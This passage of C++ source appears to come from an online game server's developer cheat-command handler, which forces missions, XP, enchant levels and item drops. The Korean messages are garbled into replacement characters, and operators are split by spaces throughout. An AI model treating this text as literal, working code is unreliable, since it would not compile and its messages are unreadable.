break ;
}
case GAINMISSION :
case ACHIEVEMISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
if ( nCmdID = = GAINMISSION ) pMission - > RequestForceGainMission ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
else pMission - > RequestForceAchieveMission ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
}
break ;
case GAINDAILYMISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
switch ( tokens . size ( ) ) {
case 2 : pMission - > RequestForceGainDailyMission ( 1 , _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ; break ;
case 3 : pMission - > RequestForceGainDailyMission ( 2 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ; break ;
case 4 : pMission - > RequestForceGainDailyMission ( 3 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) ) ; break ;
case 5 : pMission - > RequestForceGainDailyMission ( 4 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) ) ; break ;
case 6 : pMission - > RequestForceGainDailyMission ( 5 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) ) ; break ;
case 7 : pMission - > RequestForceGainDailyMission ( 6 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) ) ; break ;
case 8 : pMission - > RequestForceGainDailyMission ( 7 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) ) ; break ;
case 9 : pMission - > RequestForceGainDailyMission ( 8 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) ) ; break ;
case 10 : pMission - > RequestForceGainDailyMission ( 9 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) , _ttoi ( tokens [ 9 ] . c_str ( ) ) ) ; break ;
case 11 : pMission - > RequestForceGainDailyMission ( 10 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) , _ttoi ( tokens [ 9 ] . c_str ( ) ) , _ttoi ( tokens [ 10 ] . c_str ( ) ) ) ; break ;
}
m_pSession - > GetDBConnection ( ) - > QuerySetDailyMission ( m_pSession ) ;
}
break ;
case ACHIEVEDAILYMISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
pMission - > RequestForceAchieveDailyMission ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
}
break ;
case GAINWEEKLYMISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> ְ<EFBFBD> <20> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
switch ( tokens . size ( ) ) {
case 2 : pMission - > RequestForceGainWeeklyMission ( 1 , _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ; break ;
case 3 : pMission - > RequestForceGainWeeklyMission ( 2 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ; break ;
case 4 : pMission - > RequestForceGainWeeklyMission ( 3 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) ) ; break ;
case 5 : pMission - > RequestForceGainWeeklyMission ( 4 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) ) ; break ;
case 6 : pMission - > RequestForceGainWeeklyMission ( 5 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) ) ; break ;
case 7 : pMission - > RequestForceGainWeeklyMission ( 6 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) ) ; break ;
case 8 : pMission - > RequestForceGainWeeklyMission ( 7 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) ) ; break ;
case 9 : pMission - > RequestForceGainWeeklyMission ( 8 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) ) ; break ;
case 10 : pMission - > RequestForceGainWeeklyMission ( 9 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) , _ttoi ( tokens [ 9 ] . c_str ( ) ) ) ; break ;
case 11 : pMission - > RequestForceGainWeeklyMission ( 10 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) , _ttoi ( tokens [ 9 ] . c_str ( ) ) , _ttoi ( tokens [ 10 ] . c_str ( ) ) ) ; break ;
}
m_pSession - > GetDBConnection ( ) - > QuerySetWeeklyMission ( m_pSession ) ;
}
break ;
case ACHIEVEWEEKLYMISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> ְ<EFBFBD> <20> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
pMission - > RequestForceAchieveWeeklyMission ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
}
break ;
# if defined(PRE_ADD_MONTHLY_MISSION)
case GAIN_MONTHLY_MISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
switch ( tokens . size ( ) ) {
case 2 : pMission - > RequestForceGainMonthlyMission ( 1 , _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ; break ;
case 3 : pMission - > RequestForceGainMonthlyMission ( 2 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ; break ;
case 4 : pMission - > RequestForceGainMonthlyMission ( 3 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) ) ; break ;
case 5 : pMission - > RequestForceGainMonthlyMission ( 4 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) ) ; break ;
case 6 : pMission - > RequestForceGainMonthlyMission ( 5 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) ) ; break ;
case 7 : pMission - > RequestForceGainMonthlyMission ( 6 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) ) ; break ;
case 8 : pMission - > RequestForceGainMonthlyMission ( 7 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) ) ; break ;
case 9 : pMission - > RequestForceGainMonthlyMission ( 8 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) ) ; break ;
case 10 : pMission - > RequestForceGainMonthlyMission ( 9 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) , _ttoi ( tokens [ 9 ] . c_str ( ) ) ) ; break ;
case 11 : pMission - > RequestForceGainMonthlyMission ( 10 , _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , _ttoi ( tokens [ 3 ] . c_str ( ) ) , _ttoi ( tokens [ 4 ] . c_str ( ) ) , _ttoi ( tokens [ 5 ] . c_str ( ) ) , _ttoi ( tokens [ 6 ] . c_str ( ) ) , _ttoi ( tokens [ 7 ] . c_str ( ) ) , _ttoi ( tokens [ 8 ] . c_str ( ) ) , _ttoi ( tokens [ 9 ] . c_str ( ) ) , _ttoi ( tokens [ 10 ] . c_str ( ) ) ) ; break ;
}
m_pSession - > GetDBConnection ( ) - > QuerySetMonthlyMission ( m_pSession ) ;
}
break ;
case ACHIEVE_MONTHLY_MISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
pMission - > RequestForceAchieveMonthlyMission ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
}
break ;
# endif
case ACHIEVEGUILDMISSION :
{
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNMissionSystem * pMission = m_pSession - > GetMissionSystem ( ) ;
if ( pMission - > bIsGuildWarMission ( ) )
pMission - > RequestForceAchieveGuildWarMission ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
else
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ⱓ<EFBFBD> <E2B0A3> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
break ;
case MAKE_GUILDFESTIVAL_POINT :
{
if ( tokens . size ( ) ! = 2 )
return false ;
int nFestivalPoint = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
// <20> ߰<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ
const TGuildUID GuildUID = m_pSession - > GetGuildUID ( ) ;
CDNGuildBase * pGuild = g_pGuildManager - > At ( GuildUID ) ;
if ( pGuild )
{
# if !defined( PRE_ADD_NODELETEGUILD )
CDetachAutoEx < CDNGuildBase > AutoDetach ( pGuild ) ;
if ( pGuild - > IsEnable ( ) )
{
# endif
TGuildRewardItem * GuildRewardItem = pGuild - > GetGuildRewardItem ( ) ;
if ( GuildRewardItem [ GUILDREWARDEFFECT_TYPE_EXTRAFESTPOINT ] . nItemID > 0 & &
GuildRewardItem [ GUILDREWARDEFFECT_TYPE_EXTRAFESTPOINT ] . nEffectValue > 0 )
{
nFestivalPoint + = ( int ) ( nFestivalPoint * GuildRewardItem [ GUILDREWARDEFFECT_TYPE_EXTRAFESTPOINT ] . nEffectValue * 0.01 ) ;
}
# if !defined( PRE_ADD_NODELETEGUILD )
}
# endif
}
m_pSession - > AddEtcPoint ( DBDNWorldDef : : EtcPointCode : : GuildWar_Festival , nFestivalPoint ) ;
}
break ;
case FORCERANK :
{
# ifdef _GAMESERVER
# if defined(_WORK) || defined(_KRAZ)
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> ũ <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> (0:SSS ~ 6:D), -1:ġƮ<C4A1> ȸ<EFBFBD> <C8B8> <EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDnPlayerActor * pPlayer = m_pSession - > GetPlayerActor ( ) ;
pPlayer - > m_cForceDungeonClearRank = ( char ) _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
# endif //#if defined(_WORK) || defined(_KRAZ)
# endif
break ;
}
case ADD_XP :
{
# if defined( _GAMESERVER )
if ( tokens . size ( ) ! = 2 )
{
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ų XP <20> <> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
// lexical_cast <20> <> <EFBFBD> <EFBFBD> ó<> <C3B3>
if ( tokens [ 1 ] . size ( ) > 9 )
tokens [ 1 ] = L " 999999999 " ;
int iAddXP = boost : : lexical_cast < int > ( tokens [ 1 ] . c_str ( ) ) ;
if ( iAddXP < = 0 )
{
wstring wszString = FormatW ( L " 0<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ū XP<58> <50> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
TPvPGroup * pPvPData = m_pSession - > GetPvPData ( ) ;
pPvPData - > uiXP + = iAddXP ;
// PvP_Level
for ( UINT i = pPvPData - > cLevel ; i < PvPCommon : : Common : : MaxRank ; + + i )
{
const TPvPRankTable * pPvPRankTable = g_pDataManager - > GetPvPRankTable ( i ) ;
if ( ! pPvPRankTable )
return false ;
# ifdef PRE_MOD_PVPRANK
//ġƮ<C4A1> <C6AE> ó<> <C3B3> <EFBFBD> ؾ<EFBFBD> <D8BE> <EFBFBD>
if ( pPvPRankTable - > cType ! = PvPCommon : : RankTable : : ExpValue )
continue ;
if ( pPvPData - > uiXP > = pPvPRankTable - > uiXP )
# if defined(PRE_ADD_PVPLEVEL_MISSION)
m_pSession - > SetPvPLevel ( static_cast < BYTE > ( i + 1 ) ) ;
# else
pPvPData - > cLevel = static_cast < BYTE > ( i + 1 ) ;
# endif
else
break ;
# else //#ifdef PRE_MOD_PVPRANK
if ( pPvPData - > uiXP > = pPvPRankTable - > uiXP )
# if defined(PRE_ADD_PVPLEVEL_MISSION)
m_pSession - > SetPvPLevel ( static_cast < BYTE > ( i + 1 ) ) ;
# else
pPvPData - > cLevel = static_cast < BYTE > ( i + 1 ) ;
# endif
else
break ;
# endif //#ifdef PRE_MOD_PVPRANK
}
CDNDBConnection * pDBCon = m_pSession - > GetDBConnection ( ) ;
if ( pDBCon )
pDBCon - > QueryUpdatePvPData ( m_pSession - > GetDBThreadID ( ) , m_pSession , PvPCommon : : QueryUpdatePvPDataType : : Max ) ;
# else
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> 밡<EFBFBD> <EBB0A1> <EFBFBD> <EFBFBD> ġƮŰ<C6AE> <C5B0> <20> ƴմϴ<D5B4> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
break ;
}
case STAGECLEAR :
{
# ifdef _GAMESERVER
# ifdef _TEST_CODE_KAL
if ( tokens . size ( ) < 2 ) {
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> ũ <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> (0:SSS ~ 6:D), -1:ġƮ<C4A1> ȸ<EFBFBD> <C8B8> <EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNGameRoom * pRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pRoom ) return false ;
if ( ! pRoom - > GetTaskMng ( ) ) return false ;
CDnGameTask * pTask = ( CDnGameTask * ) pRoom - > GetTaskMng ( ) - > GetTask ( " GameTask " ) ;
if ( ! pTask ) return false ;
int rank = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int difficulty = 4 ;
pTask - > RequestDungeonClear_ForCheat ( 64 , 29771 , 1 , - 1 , 1 , 2 , rank , difficulty ) ;
# endif
# endif
}
break ;
case SET_ENCHANT :
{
# ifdef _VILLAGESERVER
if ( tokens . size ( ) < 2 ) {
break ;
}
int nInvenSlot = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
int nLevel = ( tokens . size ( ) > = 3 ) ? _wtoi ( tokens [ 2 ] . c_str ( ) ) : - 1 ;
// if( nLevel < 1 ) nLevel = -1;
int nPotential = ( tokens . size ( ) > = 4 ) ? _wtoi ( tokens [ 3 ] . c_str ( ) ) : - 1 ;
if ( nInvenSlot < 0 | | nInvenSlot > = INVENTORYMAX ) break ;
CDNUserItem * pUserItem = m_pSession - > GetItem ( ) ;
const TItem * pItem = pUserItem - > GetInventory ( nInvenSlot ) ;
if ( ! pItem ) break ;
TItemData * pItemData = g_pDataManager - > GetItemData ( pItem - > nItemID ) ;
if ( ! pItemData ) break ;
TEnchantData * pEnchantData = g_pDataManager - > GetEnchantData ( pItemData - > nEnchantID ) ;
if ( ! pEnchantData ) break ;
if ( nLevel = = - 1 )
const_cast < TItem * > ( pItem ) - > cLevel = 1 + ( rand ( ) % pEnchantData - > cCount ) ;
else {
if ( nLevel > pEnchantData - > cCount ) nLevel = pEnchantData - > cCount ;
const_cast < TItem * > ( pItem ) - > cLevel = ( char ) nLevel ;
}
if ( pItem - > cLevel > 0 ) {
# ifdef PRE_FIX_MEMOPT_ENCHANT
DWORD potentialID = g_pDataManager - > GetItemTypeParam2 ( pItem - > nItemID ) ;
TPotentialData * pPotentialData = g_pDataManager - > GetPotentialData ( potentialID ) ;
# else
TEnchantLevelData * pEnchantLevelData = g_pDataManager - > GetEnchantLevelData ( pItemData - > nEnchantID , pItem - > cLevel ) ;
if ( ! pEnchantLevelData ) break ;
TPotentialData * pPotentialData = g_pDataManager - > GetPotentialData ( pEnchantLevelData - > nPotentialID ) ;
# endif
if ( ! pPotentialData )
break ;
if ( nPotential = = - 1 )
{
if ( pPotentialData - > pVecItemData . size ( ) = = 0 )
break ;
const_cast < TItem * > ( pItem ) - > cPotential = ( char ) ( 1 + ( rand ( ) % pPotentialData - > pVecItemData . size ( ) ) ) ;
}
else {
if ( nPotential > ( int ) pPotentialData - > pVecItemData . size ( ) ) nPotential = ( int ) pPotentialData - > pVecItemData . size ( ) ;
const_cast < TItem * > ( pItem ) - > cPotential = ( char ) nPotential ;
}
}
else
const_cast < TItem * > ( pItem ) - > cPotential = 0 ;
m_pSession - > SendRefreshInven ( ( BYTE ) nInvenSlot , pItem , false ) ;
# endif
}
case LUCKY :
m_bLucky = true ;
if ( tokens . size ( ) > = 2 ) {
m_bLucky = ( _wtoi ( tokens [ 1 ] . c_str ( ) ) = = 0 ) ? false : true ;
}
break ;
case MAKECITEM :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> Ķ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ȯ<> <C8AE> <EFBFBD> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
# if defined(_VILLAGESERVER)
return false ;
# elif defined(_GAMESERVER)
CDNGameRoom * pSession = m_pSession - > GetGameRoom ( ) ;
if ( ! pSession ) return false ;
if ( ! pSession - > GetTaskMng ( ) ) return false ;
CDnItemTask * pTask = ( CDnItemTask * ) pSession - > GetTaskMng ( ) - > GetTask ( " ItemTask " ) ;
if ( ! pTask ) return false ;
int nItemID = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
int nCount = ( tokens . size ( ) > = 3 ) ? _wtoi ( tokens [ 2 ] . c_str ( ) ) : 1 ;
if ( nCount < = 0 ) nCount = 1 ;
if ( g_pDataManager - > GetItemDropData ( nItemID ) = = NULL ) return false ;
CMultiRoom * pRoom = pTask - > GetRoom ( ) ;
for ( int i = 0 ; i < nCount ; i + + ) {
DNVector ( CDnItem : : DropItemStruct ) VecList ;
CDnDropItem : : CalcDropItemList ( pRoom , nItemID , VecList ) ;
for ( DWORD j = 0 ; j < VecList . size ( ) ; j + + ) {
# if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD)
pTask - > RequestDropItem ( VecList [ j ] . dwUniqueID , * ( m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ) , VecList [ j ] . nItemID , VecList [ j ] . nSeed , 1 , ( short ) ( _rand ( pRoom ) % 360 ) , - 1 , VecList [ j ] . nEnchantID ) ;
